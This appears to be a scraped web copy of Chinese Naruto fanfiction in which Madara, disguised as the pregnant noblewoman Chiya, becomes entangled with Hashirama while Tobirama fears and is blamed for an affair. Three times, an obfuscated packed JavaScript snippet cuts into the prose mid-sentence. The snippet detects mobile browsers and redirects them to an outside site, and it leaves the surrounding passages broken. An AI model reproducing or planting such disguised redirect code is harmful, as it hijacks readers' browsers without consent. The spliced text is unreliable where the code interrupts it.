怀着遮掩丑闻的沉重心理,他再次见到了千夜夫人——那位极类似宇智波斑的美人。 彼时对方正坐于窗前,面前的案几上摊开一卷书,随意披着件锦绣袿衣的千夜一手撑腮,一手轻拈书页,明亮澄净的天光自窗外倾泻而进,尽数泼洒在她身上,使之在那光芒下的美人颇具神性,很有几分神话传说里天女的意味。 然而扉间一眼看到的是她脖颈处毛绒绒的围领——是狐狸的毛,千手扉间立即认出。 千夜略施脂粉的美人面因为低首阅读而埋入那脖颈处那狐狸毛制成、柔软厚密的毛绒绒中,画面浑然天成,仿佛她本来就应该是一只狐狸似的——玉藻前,扉间脑海中跳出这个志怪传说里祸国殃民的九尾狐名字,连带着想到同样带着九条尾巴的狐狸尾兽,沿着九尾又不可避免地想到了它已经死去的契约者——宇智波斑。 停—— 扉间竭力制止着这莫名其妙的恐怖联想,将目光再次放在千夜本人身上。 尽管怀着孩子,千夜身形依然笔直凌然,姿态端正,只是神情颇为倦怠,脸上的脂粉都掩不住她眼下微微的青黑——扉间心想,也许她也正为与兄长的背德之恋而折磨得夜不能寐。 这倒让扉间有点不知如何开口了。 他一向缺乏与情绪敏感的女人——尤其是这类心思极多的贵妇人打交道的经验,毕竟他交谈的大部分对象都是忍者,一个赛一个的铁石心肠,再恶毒伤人的语言也难以动摇他们的内心。偶尔也夹杂了大名与贵族,但只要言语得体,态度恭敬也差不多能混过去。 扉间的言语如同他本人一样精准严谨,只是常常缺乏相应的温柔委婉,哪怕同样的话由他道来,总像是承诺或逼迫——总之,一经扉间的口,所有的内容都会变得很严肃,在公事上往往事半功倍,但对于那些心思脆弱的贵妇人来说这可不是一件好事。 “我给你的侍女守卫下了幻术。” 最终,他硬邦邦地扔下这句话,本意是想告诉对方他们接下来的谈话内容是十分私密的,不用担心泄露,但话一出口他又立刻懊悔这话说得像绑架前的威胁,于是又补充道:“这样我们接下来谈的所有内容都不会被其他人知道。” 但他苦心并不被美人所理解,千夜翻过一页书,声音比霜天的雪还要寒冷。 “哦,但妾身没什么好与阁下谈的。” 扉间不动声色:“我想还是有的,关于我的兄长,我听说……” “让柱间自己来和我谈。”千夜毫不客气地打断。 扉间一梗。 显然,千夜是个全无心肝的傲慢美人。 扉间心想,被打击到的同时也暗暗地松了一口气,千夜这般的性情让他不用再端着对待瓷器那样小心翼翼的态度—— 他无视千夜的冷淡,继续说下去:“我听说你拒绝了大哥劝你留下的提议,我想知道你真实的想法。” 倒是千夜听了这话终于舍得从书上移开目光,奇道:“我为什么非要留下?” “你和兄长……的事情,”扉间斟酌着,含糊道,“我知道了。” 千夜森然地注视着他:“什么事情,妾身竟不知,你说来听听。” 扉间:“……” 这家伙怎么回事,非要他将出轨偷、情说出口吗?这种事情大家心知肚明不好吗! 宇智波斑看着他纷然变化的脸色,联系到扉间特意用幻术制造了这样一个保密的氛围,忽然从那沉默里领悟到了什么,愤怒不已:扉间竟然将他与柱间的关系往腌臜处想,他怎么敢! 也许是近来柱间与千夜这个身份交往过密,人们一见男女交往便总是要往下三路的方向想的。 斑厌恶地想,不由得烦躁地蹙起眉。 “阁下非得要这样以肮脏下流的思想揣度你的兄长吗?”千夜骤然发难,指责道,“难道在阁下眼中,火影竟然是与已婚的女人偷情之人吗?” “……” 扉间的沉默震耳欲聋。 窗户倾泻而入光芒里,天女般的美人仿佛被平白污蔑般露出怒容,脸上俨然一副理直气壮的正义神情,搞得扉间有种自己被大审判的错觉。 讲道理,只要有可能他也不愿意这样想的——可柱间就是这样做了啊! 爱上已婚美人的明明是兄长,结果整件事下来被骂的是他扉间:有没有搞错? 没有谁比他更希望这不是真的了好吗?! 但千夜的态度实在是太坦荡了——还是说这件事别有隐情? 正在扉间怀疑人生之际,此件事情的罪魁祸首、他的兄长千手柱间提着雕刻精美的食盒走了进来。 “夫人,别动怒呀,”柱间有这么一种能力,他对于周遭尴尬的氛围视若无睹——意思是他完全没关注到这里还有一个亲兄弟扉间,“对你身体特别不好,”他耐心又温柔地哄道,“先吃点东西吧,我做了你喜欢吃的:如果夫人口味还没变的话。” 斑神情恹恹,近来他胃口确实不大好,身子重,畏寒,难受,呼吸都有点不顺畅,就连吃的东西也是今天喜欢炖鱼汤,明天再闻到鱼腥气就干呕,而且因为孕期控糖很久没吃过甜食了,导致哪怕是在扮演千夜,脾气也有点暴躁了。 斑这种情况,就连若殿様带在身边的御厨都有些为难,抱怨说:千夜夫人的脾气已经很古怪了,然而她的口味比脾气还要古怪—— 柱间显然是收集到了这样的情报,所以近段时间来他一直在研究孕期食谱,变着花样给千夜做营养美味的食物。 斑一开始是不接受的,因为这对于他来说太怪了:虽然宇智波斑艰难地接受了自己身为男人怀孕的事实,然而柱间这样做好像真把他当孕妇看待一样——虽说在柱间眼中千夜确实是个孕妇吧,但这样真的很怪。 斑可以接受其他人这样想,却尤其接受不了柱间这样像对待瓷器一样小心翼翼的温柔态度,这让他浑身不自在。 但柱间做的实在是太好吃了,斑的胃背叛了他的意志,接过了食盒。 等反应过来的时候,斑已经吃了一口里面的虾滑藕夹——想也知道,这个天气下的新鲜莲藕是柱间用木遁催生的,刚一停箸,柱间就贴心地递上他熬的金桔雪梨汤,满含期待地看着他。 斑动了动唇,想张口拒绝,柱间立刻道:“我计算过夫人摄入的糖分,这汤没有超标,还可以补充维生素和膳食纤维——宝宝会需要的。” 这下是真把斑的路给堵死了,正如柱间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329307|149935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所说,他肚腹中这个贪吃还挑剔的小家伙的确需要营养。 美人微微蹙眉,从柱间手中接过金桔雪梨汤微微呷了两口——看上去完全是丈夫照顾怀孕妻子的温馨场面。 与此同时,在一旁目睹了整个过程的扉间:“……” 呵呵,在千夜的质询下他竟然有一瞬间怀疑过他们俩是清白的,真是日了狗了。 他们俩真的不知道这样奸情真的很明显吗? 幸亏他提早下了幻术,否则大家肯定都知道了,等等——他们俩这样做不是第一次了吧?避开其他人了吗? 这对偷情的狗男女还没什么害怕之情,反而是在一旁的扉间替他俩操心得不得了——事情要是败露了怎么办? “兄长,你一直这样吗?”扉间实在忍不下去了,“难道你不怕被人发现吗?” 事实证明他的兄长对于瞒着众人偷偷和对象交往有着天然的警惕性:“提前下好幻术就是了,连扉间你都想得到的。”虽然他身为忍者之神的幻术一般吧,但也是他这个等级的一般,对付普通的守卫完全足够了。 柱间并不当回事,又从袖中掏出一个奇巧玩意,兴致勃勃地推荐道:“这是我按照着舶来的书籍记载制作的八音盒,夫人如果无聊可以听一听音乐——对孩子很好的哦!” 他拨弄着手里的玩意,齿轮转动,层层驱动下,那精巧的木盒上蝴蝶翩翩转动飞舞,齿轮间流淌出奇妙空灵的音乐声。 “也是给宝宝准备的未来玩具之一。”柱间补充道,温柔地看着千夜,“收下吧。” 扉间总算知道柱间这些天在捣鼓些什么玩意儿了,敢情全是为了搏美人一笑——而且还包括那个肚子里跟他半毛钱关系都没有的小崽子! 他脸上一阵青一阵白,有时候人被气到了真的会无语到说不出话的。 好在,这对狗男女也并不care他的脸色。 柱间继续温柔地劝说千夜多吃一点,询问她最近是不是仍然睡眠不佳,要不要他诊治一番——千夜拒绝了,说自己很好,疲倦都是肚子里崽闹的,有专门的医师已经为她开了药吃。 柱间看上去有点失落:“好吧。”露出小狗一样的神色,“那夫人要好好注意身体啊!” 扉间:“……” 扉间还能说什么呢,他只能祝柱间顺利吧——他一口一个夫人的,瞧这情况不知道还以为千夜是他自己的夫人呢。 感知里传来动静,扉间忽然低声警告:“有人来了,兄长你收敛点——我要解开幻术了。” “千夜吾爱——”月之国的若殿様像一阵风一样的刮了进来,神采飞扬,“你想我了吗?” 这下好了,人家的正牌丈夫来了。 扉间胃疼地想,看着风风火火的若殿様停在千夜身旁,亲昵地将手置于她的肚腹上,微笑着打招呼:“宝宝想爸爸了吗?” 扉间注意到柱间在看到若殿様这样做时,神情一下子就阴郁起来,甚至有点敌对和紧张——你活该,扉间咬牙切齿的想,同时替兄长在千夜丈夫面前感到心虚。 但若殿様浑然不觉,像一切恩爱情深的丈夫那样温柔询问千夜今天过得怎么样,桌上的饭菜和木盒是——扉间都为柱间捏了一把汗——“火影阁下特意送的。”千夜很坦然地回答。 于是若殿様哦了一声,向一旁的柱间道谢,甚至要给赏赐——虽然不过短短几分钟,这位若殿様尽显千夜正房丈夫的大方风范。 怪不得千夜拒绝了兄长,白发的千手悲哀地想,我哥这个小三又要怎么击败这样端庄的大房上位呢? 16.第十六章 千手扉间真的相当不安です。 讲道理虽然杀人放火(划掉)放水的不道德事情他干得不少,然而说到底那不过是忍者的本职,谈不上什么道德不道德,纯吃饭的家伙——但亲哥当人小三根本是另一种道德层面上的重大滑坡,完全突破了大好单身青年的扉间的心理底线。 尤其是现在这个局面,扉间光是坐在这里都感到了焦灼。 他,他哥,他哥的心上人千夜以及千夜的丈夫共聚一堂,谈笑风生。 ——我不应该坐在这里的,扉间痛苦地想。 但他不能不替兄长柱间掩饰着,因为柱间本人完全没有搞地下情的本事与觉悟,当着丈夫若殿様的面和千夜夫人聊得非常欢快,看得扉间胆战心惊的,不得不时不时拿其他话题替柱间转移若殿様的注意力,全程操作下来可以说是心力交瘁。 一时间场面也算是得上是其乐融融,充满了合家欢喜的味道——除了扉间。 他正震怒地看着一副“我是来加入这个家的”模样的柱间,成为了席上唯一阴沉着脸的人。 直到若殿様再一次地将手放到千夜肚腹上:“宝宝刚刚又动了欸——是知道我在这里在打招呼吗?”他脸上洋溢着初为人父的喜悦,“就是太折腾吾爱啦,吾爱最近都瘦了很多,医师说是最近思虑过重——宝宝要对妈咪好一点哦!” “夫人,如果你有什么事情的话,”柱间死死地皱着眉,目光钉向若殿様放在千夜肚腹上的手,声音低沉,“可以来找我,你的——我是说你和他的孩子我会视如己出。” 扉间心都提到嗓子眼了,为自家亲哥敢在千夜丈夫面前发出这样光明正大的“汝妻子吾养之”的宣言而感到瞠目结舌,然而这还不是最绝的—— 千夜神色似有动容:“妾身知道,火影阁下一直是这样重情重义的人。” 白发的千手不能不佩服这女人就算丈夫再身边也敢和其他男人公然调情的胆色。 最绝的是若殿様堪比片中熟睡的丈夫一样,这对狗男女搞事都搞到他眼皮底下了他依然对这明晃晃的奸情无动于衷,甚至还大方邀请:“火影阁下看上去很喜欢小孩子呢,等孩子出生后我会发请帖邀火影阁下前来喝满月酒的。” 尽管千夜的丈夫十分的眼瞎……咳,扉间的意思是颇具大房风度,但他觉得自己必须替提醒兄长一下,沉声道:“多谢殿下美意,然而兄长毕竟是火影,不能轻易离开木叶——这是规定,不能打破。火影乃木叶首领,更应当作为表率。” 他咬牙切齿地加重了“火影”与“表率”的读音,让大哥收敛点,不要公然在人家丈夫面前对他的妻子发出之前那样的虎狼之词。 然而柱间对于他言语中的提醒充耳不闻,整个人沉浸在一种深深的伤感中:“是啊,不久后你们就要走了,我无法亲眼见证这个孩子的出生,也不能喝到小家伙的满月酒。” 千夜似乎也沉默了一会——也是,扉间心想,大哥这话让她在丈夫面前怎么回——她缓缓开口:“没关系,我说过,要是……我会带着孩子回来的。” 扉间冷汗一下就下来了。 不是,你俩调情完全不看场合的吗?! 还是说有丈夫在身旁你们会觉得更刺激吗?!! ……总之,亲哥当小三当得理直气壮、荡气回肠,千夜夫人偷情也是从容不迫,落落大方,正房丈夫若殿様在一旁起到一个眼盲心瞎、宽容豁达的作用,只有扉间一个人忐忑不安,万分焦虑。 但已经眼盲心瞎许久的若殿様的神色忽然变化了,他看起来终于发现了事情不对——废话老婆都要跟着别人跑了,这还反应不过来那还了得。 “吾爱,你为什么要这样说……带着孩子回这里——难道说,木叶有什么人吸引了你吗?” 扉间抢先开口,免得大哥再当着这位丈夫的面口出狂言:“千夜夫人或许只是赌气之言,并不能当真。” 千夜冷冷道:“我说话一向当真。” 扉间完全对她服气了——没见过这么拆台的。 见状,若殿様哽咽:“我就知道!吾爱你已经喜新厌旧,另寻他人了,我只是不愿意相信……你就这样抛下了我。”说着,他凄然泪下,满怀怨恨,“我知道,你一定是被木叶的妖艳贱货迷住了眼,呵,我知道勾引你的是谁!” 扉间骤然色变,这下真的完了——他哥当小三这件事终究是纸包不住火了。 他一时不知道这是不是柱间的报应——让他搞人妻还乱说话的。 大好单身青年扉间一向是对此类道德滑坡极其鄙视的,只是俗话说得好:别人当小三,自甘下贱;兄弟当小三,别被发现;自己当小三,倾城之恋。 当然,扉间本人是完全没有倾城之恋的念头的,他对柱间的背德之恋也卑微到只有“别被发现”的地步了,没想到最后还是被当事人丈夫点破了—— “是千手扉间!” 泪如雨下的若殿様悲伤地大声公布答案。 听到答案的扉间如遭雷劈:万万没想到这倾城之恋的名声最后竟然落到他头上了。 坏了,他成小三了! 千夜也露出了仿佛被雷劈的表情,发出了扉间同款的灵魂疑问。 “你……为什么会觉得是他?!!” 若殿様用手帕擦着泪水:“整个宴席上,大家都谈笑风生,就他一直阴沉着面孔,想来是早已看我在你身边而感到不爽了。”他苦情小白花上身般凄凉笑道,“也是,他爱慕于你,一定各种看不顺眼我……” 我TM是因为不争气的兄长甘愿做三而愤怒,替哥背锅的扉间一口血梗在喉咙,气得浑身颤抖。 此时柱间良心发现,替弟弟反驳道:“不是啦,扉间一直都是这副不高兴的表情——他生下来就这样,不代表他看你不爽,真的。” 显然,若殿様并不相信这等脆弱苍白的解释,他从鼻子里哼了一声,继续列举证据。 “不必假装安慰我,我从小也是在宫廷斗争中长大的,见识了各种人心,练就了一双火眼金睛……” ——被迫当三的扉间很想说你那一双火眼金睛为什么没把我哥这个真正的男妖精识破。 “我看出扉间阁下一直致力于主导谈话内容,对某些话题十分敏感——” 那是因为我哥频出“汝妻子吾养之”的虎狼之词好吗,不转移话题指不定就要说出后面的“汝勿虑也”了! “而且他还很心虚,像是一直怕我识破奸情似的一直暗地里观察着我的神色——奸夫无外乎如此!” 对此,扉间无话可说。 因为他忽然明白这位若殿様的逻辑了。 他并非是大房风度,也不聋不瞎,甚至还十分敏锐多疑:扉间是位成熟强大的忍者,他的观察方式可以说是十分隐蔽了,但这位若殿様显然是一开始就察觉到了,并不动声色地任由他观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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鉴于千夜最后选择了他,恋爱脑若殿様感动极了,身为正房与优胜者的宽容大度又重回身上:“吾爱既然并不钟情于你,你得不到心爱之人,也是一桩憾事,我不会怪罪你的——我一向怜悯爱而不得之人。” 被怜悯的扉间硬生生地嘴里挤出音节:“……多谢,但是不用。” “唉,我知道阁下心里一定很难受,”宽容大度的若殿様贴心道,“毕竟,被拒绝是很痛苦的,但这也是没办法的事情——毕竟我和千夜才是真正的恋人嘛,她好爱我的——嗳呀,不好意思,揭你伤口了。”他掩唇微笑。 …… ………… 扉间心里有很多脏话要讲。 但他知道自己接下来所有辩驳的话那位恋爱脑上头的若殿様都不会当真,只会用怜悯的目光注视他这个“爱情的失败者”——真正的小三柱间则逍遥法外,最可恨的是扉间还得为他掩饰。 千手扉间真的很绝望,经此一役,他发誓从此以后再也不沾染任何有关恋爱脑的事情了——无论是他非要当三的兄长,还是这位脑回路清奇的若殿様。 毕竟恋爱脑无药可救,他们的大脑僵尸都不会吃——因为根本没有。 就让兄长继续他的倾城之恋吧,单身主义者扉间头也不回地逃离了被恋爱脑包围的智障地狱。 科学不是无所不能,至少它不能拯救恋爱脑。——by忍界科学家千手扉间。 17.第十七章 “所谓爱情不过是由各种生物化学物质在大脑中相互作用,以此产生的一种镜花水月般的幻觉。” 扉间发表如此高论之时,柱间正在制作一只无需注入查克拉、只要按下开关便能行动的机关鸟——扉间不用看就知道这又是送给那位千夜夫人的小礼物。 而且每次都是以她肚腹中的婴儿为借口,美其名曰:送给那尚未出世的小家伙。 这的确是个名正言顺的借口,但柱间送得未免也太多了些,让这借口变得摇摇欲坠,使得其中的心思昭然若揭——尽管自那件事情后扉间发过誓再也不管这对狗男女的任何事情了,但见柱间如此泥足深陷于这段不道德的感情,还是忍不住这样开口。 自认为足够理智的禁术大师、纯粹的单身主义者千手扉间有一肚子关于“爱情”的科学理论。 “所谓的一见钟情不过是苯基乙胺与肾上腺素的作用,让人产生高度的兴奋与激动,制造怦然心动的感觉,高水平的多巴胺又是让人产生‘幸福感’的神经递质,在使人在坠入爱河时感到愉悦,产生迷恋,催产素会在与情人交往时在神经系统和血液里循环,让人增加依恋与信任……本质上讲,所谓爱情不过是激活了大脑中积极情绪的通路,使你误以为那是天意的安排,是命中注定非她不可——” 对此现象,他冷静地下着定义。 “说到底不过是激素那点事。” 柱间在为那已经基本完成的机关鸟上涂抹颜色,他手腕微转,亮丽活泼的颜色自他笔下缓缓流淌。 “这样说来,人们所做的每一件事都可以说是生理因素控制,激素影响着我们的一切爱恨情仇,这么一想,似乎一切都没有意义:世界都是被激素控制的。如果真要这么简单地归类人类的感情——愤怒与仇恨也同样是由激素控制的,你去告诉那些亲人死于战场的人,告诉他们感受到的所谓的痛苦也不过只是他们体内激素的作用,激活了他们大脑中消极情绪的区域,大家就能完全放下仇恨、对此欣然释怀吗?” 扉间被他一梗,一时间有些无话可说。 柱间说得不无道理。实际上控制爱与恨的激素亦有相似之处:多巴胺是一种与奖赏相关的神经递质,与行为活动系统相关,增强动机强度,既能加深爱情的迷恋,又会增强复仇的冲动;肾上腺素既能让人在爱情中感到刺激兴奋,也能在仇恨中加强个体的攻击性。 如果他不能用所谓科学理智的激素论劝人放下仇恨,自然也不能用这样的说法让人放下爱情。 扉间之所以认为爱能在三言两语间轻易放下,不过是他并不熟悉爱情真正的语境,他从小所受的忍者教育中情爱往往被塑造成堕落与脆弱的模样,让他误以为这是一种应该被抑制的软弱情绪,一种必须被舍弃的不理智,一种可以被简单摧毁的激情。 但仇恨完全不一样。仇恨对于在残酷的战国时代活下来的忍者来说不是陌生的语境,而是切切实实的生活经验。这经验是如此的钻心刻骨,以至于扉间从父母口中学到这个词的发音之前就已经学会了仇恨——年幼的扉间说话尚且含糊不清的时候,就已然见证了身边亲友的死亡。 柱间将爱与恨并列,他才迟钝地意识到这两者其实有着同等深入骨髓的力量,远不是一两句所谓理智的话语可以摧毁的。 扉间沉思了一会,严肃地蹙起眉毛:“的确,仇恨会使人冲昏头脑,但我看爱情也差不多——”语气里有不自觉的微妙抱怨,“爱情甚至更可怕,它甚至会使人完全的丧失智商。” “……我就知道扉间你还沉浸在那天‘被小三’的心理阴影之中,”柱间低声嘀咕了一句,在扉间倏地射过来的锋利视线中心虚地咳嗽了两声,“我是说,那天的确有些小小的误会,但若殿様不是没追究吗?” “这不是他追不追究的事情——是我的清白,”似乎是提起清白二字让这位千手二当家感到一种小女孩家似的别扭,他表情抽搐了一下,深呼了一口气,“算了,这不重要。重要的是……” 尽管他说了不重要,然而柱间却小鸡啄米似的点了点头,很认真地为弟弟的清白发起了愁:“也是,扉间你清白的闺誉还是很重要的,毕竟你还没有嫁出去呢!”他放下手中上完色的机关鸟,眼睛一亮,“没关系,我马上会去找夫人说明情况,还你清白——” 扉间在听到他“清白的闺誉”“还没嫁出去”之类胡说八道的调侃时就青筋紧绷,一句“你先滚出去!”在嘴边还没来得及怒吼而出,柱间就已经预判了他的话,自己麻溜地滚出去找千夜去了。 独留他口中嫁不出去的弟弟扉间一个人在原地悲哀地想:果然,哥大不中留。 * “这有什么好澄清的。”鸦羽似的长睫毛蹁跹,炭笔描绘出的眼线跟着眼尾秾丽的胭脂飞入鬓角,千夜似乎总喜欢画这些浓艳醴丽的妆容,将真实面容隐藏在那妆容下,但言谈中观点往往一针见血,丝毫不喜欢伪饰,而是让人直面淋漓鲜血的残酷,与她面具一般的浓妆形成某种奇异的反差,“难道有人真的会相信他真是我与丈夫的第三者吗?” 她轻蔑地笑:“毕竟火影阁下的兄弟一看就是那种不解风情、恐惧情爱、抱着自己的实验室过一辈子的万年处男。” 柱间本想反驳,毕竟这大实话也太扎人心了,但他思索片刻,发现千夜用语虽毒辣,但他弟弟这一辈子多半确实会抱着他的禁术卷轴在实验室打光棍一辈子,流露出一股注孤生的气息。 “可是若殿様就信了呀!”他底气不足地反驳道。 “他当天就反应过来了,”千夜淡淡道,“如果你现在还在家里,就会发现他现在上门去和扉间阁下道歉了——我亲爱的丈夫当时只是被嫉妒冲昏了头脑,而你弟弟那天做贼心虚的态度又实在太具有迷惑性了——明明和他没什么关系的。” 柱间微妙的顿了一顿。 他其实不是很喜欢从千夜口中听到那位身为丈夫的若殿様,听到她用那样亲昵的口吻称呼那个男人为亲爱的,心里莫名地被刺了一下。 千夜是斑的恋人,她也会像现在这样亲昵地称呼着斑为亲爱的吗?还是说有着更为甜蜜的爱称?又是怎样看待这位若殿様——她现在的丈夫呢? 柱间极力克制着自己这些不合时宜的想法,这很不礼貌,像是在质问她为何移情别恋,况且本身也与他无关。 虽然真实情况是斑全无节操。他单纯在尽职地扮演着千夜夫人这一角色,那位月之国的若殿様是位喜欢风花雪月爱情故事的贵族殿下,斑不过是迎合他的喜好才使用这些亲昵称呼的,嘴上虽然深情款款的喊着“亲爱的”“阿娜达”但其实内心毫无波澜。 他只是有些诧异柱间怎么忽然情绪消沉起来——自己刚刚也没说什么吧? 仔细想想,好吧,宇智波斑承认他还是小小的言语攻击了一下扉间那个傻叉——如果说实话也能算是一种攻击的话。 “如果是夫人的话,是怎么看待爱的呢?”柱间在脱口而出的那一刹那就后悔了,他不应当和千夜探讨这样的话题,毕竟男女之间单独谈论这样的话题界限有点太过了。更何况千夜还是自己挚友斑的恋人——然而事已至此,柱间也只能亡羊补牢,竭力让这个话题显得更哲学而不是充斥着让他心悸慌乱的暧昧,“今天出门前扉间刚和我探讨过这样的话题,他的想法是所谓爱情不过是激素控制,我并不赞同这个观点。” 斑没有柱间这种顾虑,他早已习惯了以挚友的身份同柱间从天文地理谈论到人文政治,并不觉得他俩之间有什么话题要避讳的,只是嗤笑一声:“扉间阁下?他这样自以为是的发言不会是以为在破除所谓爱情的迷信吧?妾身看他在盲目地迷信科学还差不多——将人类的一切爱恨都解释成激素作用,那只会令他走入虚无,毕竟照他这样说人这种纯属激素控制的生物活着又有什么意义呢?” 柱间叹气:“扉间有时候是太钻牛角尖了些。” “他不是钻牛角尖,是在畏惧情爱。”斑挑了挑眉,“他认为过于激烈的爱恨只会让人走向毁灭,他警惕不理智的激情,觉得那不稳定的感情迟早招致灾难于与不幸,简直就像……”千夜及时住了口,露出幽微的笑容。 “简直就像受过严重的情伤一样,”柱间竟然接住了她的思路,也跟着她一起笑了,“可扉间根本没谈过恋爱呀!” “谁知道呢,”斑以桧扇掩面,垂下眼眸装模作样地叹息,“也许他私底下曾有过一段魂牵梦萦、却注定分离的感情呢。” 而且说不定正因为被人家姑娘毫不留情地给甩了才这样对爱情疑神疑鬼的,斑冷酷无情地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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灼热的气流拂在他耳边,轻而易举地在柱间内心掀起风暴。 柱间清楚地知道在他身旁耳语轻吻的斑不过是幻觉——映照他自己欲望想象的幻觉,在幻觉中斑拥抱他,与他相爱。 但那毕竟只是幻觉。他温柔宽厚地对着斑生前真正所爱的遗孀微笑:“也许吧,爱情虽然美好,但也同样饱含着痛苦。” “没有一点痛苦的爱正如零伤亡的战争,是极难存在的,毕竟——”实际上的斑本人微微耸了耸肩,宇智波眼眶中流着血泪的猩红之眼永远提醒着他们爱与痛的密不可分,“一切恩爱会、无常难得久、生世多畏惧、命危于晨露,由爱故生忧,由爱故生怖,若离于爱者,无忧亦无怖。(注1)” 华贵明艳的美人身上裹着貂皮,口中念着佛家劝人放下执着、四大皆空的偈,却偏偏要说:“没错,爱的快乐从来都是与痛苦血肉相连——然而即便再痛苦,妾身也依然会选择去爱,哪怕是爱不可能爱之人,”她笑,那笑容里有沉静的坚执,语气却戏谑,“不然妾身还不如出家去,不是吗?” 自然,斑口中的爱,并非明面上讨论的情爱——他对这个兴趣不大,里面暗喻的实质是他真正的理想——对于整个世界、对于永久和平的爱。 人世间的爱别离、怨憎会又岂是光靠着出家就能解决的,不是别过眼去,念着四大皆空就能无视人间白骨露野、哀嚎不绝的惨剧——斑认为这不过是一种懦弱的逃避。 他并非因为沉溺于眼前较容易与快乐而选择坦途,而是在看清道路遍布的荆棘与血迹之后,仍然坚定地选择了踏入那荆棘之中,哪怕为之身死也绝不回头。 于是千夜说出这话的模样,带有一种炽热的、叛逆的、献身般的感情,虽然语气带有嘲谑,浑身却闪耀着某种悲剧般的英雄气概。 柱间为之心折。 斑与千夜会相爱,正是因为他们都是这样纯粹坚定的殉道者。 他这样想着,心口鼓胀发麻,眼眶酸涩湿润,笑容真挚,而且痛楚。 真是……太好了。 斑,你还是找到了真正爱你、与你同行之人—— 我理应为你与她在一起感到喜悦。 即便最后与你同行的人不再是我。 然而。 柱间垂下头颅,不愿任何人看到他此刻的表情。 18.第十八章 千手柱间从千夜的居所处走出来,往自己的家中走去。 夜晚将至,这条不算宽阔的长街本就不是什么热闹之处,冬日里的店家早早打烊,街道两边门户紧闭,更显得寂静萧索。偶有几个飞檐走壁的忍者自屋檐上空停住,欲跃身而下向木叶的初代目问好,千手柱间也只是温和地微笑着摆手,让他们不必多礼。 飞鸟衔虫回巢,夕阳里升起几户人家升起做饭的炊烟,柱间作为忍者优秀的耳力让他隐隐听见了高墙之中其中一家人欢快热闹的笑语。 真好。 他想。然而不知怎的,那欢声笑语令他更觉寂寞倍增。 千手柱间从来不是善于嫉妒的人。相反,他一直以能守护这样和平与幸福而感到骄傲:木叶里的人们是他下定决心要守护着的对象,不惜一切代价。 但也有像这样极其偶尔的一刹那,柱间因为他们的幸福而感到孤独,尤其是在现在他刚刚离开了千夜夫人身旁的时候。 落日的余晖燃烧天际,留下晦涩黯淡的霞光在天地间静静流淌,晚风送来不远处森林与泥土的味道,那味道里有冬日河流凛冽寒冷的气息。 那气息将千手柱间一下子拽进了童年时期,鼻腔涌动着南贺川上清新微腥的水汽,耳畔响起了它那亘古般奔涌不息的声响。 童年时的柱间来到这里,因为同胞兄弟的死亡而悲泣,却意外在这潺潺的河川前遇到了此生最重要的人——于是柱间知道了名为斑的少年同样失去了亲兄弟,希望保护好剩下的弟弟;知道了竟然同样有人抱有和自己一样、被大人斥之为白日妄想的和平梦想;知道了斑喜欢吃甜食,讨厌有人站在他背后…… 他忽然很想再去一次南贺川。 童年里潺潺的水声在耳畔诱惑着他,然而柱间并没有因此停下脚步,他继续往回家的路上走着。 争吵声。 “你少管他……别这样独断专权……这应该由他自己做决定!” “他自己!他还是个孩子呢,能做什么决定?他不懂什么决定对他来说最好!” “是啊,阿志还是个孩子,你却要送他去死!” “他是忍者,他不能畏惧死亡。” “我还是个母亲,我不想再看到我的孩子去死!” “别说得好像他做了忍者,出了任务就会死一样……阿志会活着的,他是我们这一族最具天份的忍者——他会带给这个姓氏荣耀的。” “我不需要那些虚无缥缈的荣耀,我只想要看见我的孩子平安健康的活下去。” “哼,妇人之仁!” 房门嘭地打开,夫妇争吵的中心、终于忍受不了这压抑氛围的孩子从里面冲了出来,差点撞到了柱间——“火影大人。”大概八九岁的男孩子及时地刹住脚步,本该天真活泼的脸上带着隐忍的阴郁,早熟的孩子压抑着爆发的情绪,向村中的掌权者礼貌地点头问好,然后准备转身朝着另一个方向跑去。 “等等,”柱间叫住了他。“发生了什么事情吗?”他关切地询问。 也许是富有权力的成熟年长者温和的态度令这个处于风暴中心的孩子感到亲切,他犹豫着,终于开口:“我父母不知道我该不该做忍者——父亲说我很有天赋,母亲说她宁愿我随便做点小生意养活自己,也不要做那刀尖上舔血的忍者。” “你自己是怎样想的呢?” 名为阿志的孩子低下头。 “我不知道……我没有想成为忍者,但也没有其他什么特别想做的。父亲说我很有做忍者的天赋,我们这一族本也是世代的忍者……”谈话间他已经平复了心情,换了一种复杂而漠然的口吻说,“我最后一定会成为忍者。这不单是父亲的安排,更是家族的决定,我不可能违背的,母亲也阻止不了——她太弱小了,什么也保护不了。只有忍者才有保护所爱之人的力量,我要保护母亲,就要成为忍者。” 不是这样的。 柱间叹息,他很想说孩子你想做什么就做什么吧——但那孩子清澈而早熟的眼睛看着他,质问他:难道火影大人你就能想做什么就做什么吗? 这个年幼弱小、势单力薄的孩子不能,身强力壮、手握重权的火影也不能。 人生不如意之事何其之多。 至于后面那位暴怒的父亲是如何冲出来准备揍胆敢摔门离家的孩子、母亲又是如何哭哭啼啼地追上来——柱间安抚了这一家的情绪,使得他们重归于好——完满的大结局。 然而柱间知道,没有结束,这一家的矛盾远没有结束,无论如何也不会结束,父母关于孩子未来的争吵将持续到其中一方的终于妥协——但妥协也不是矛盾真正的结束。 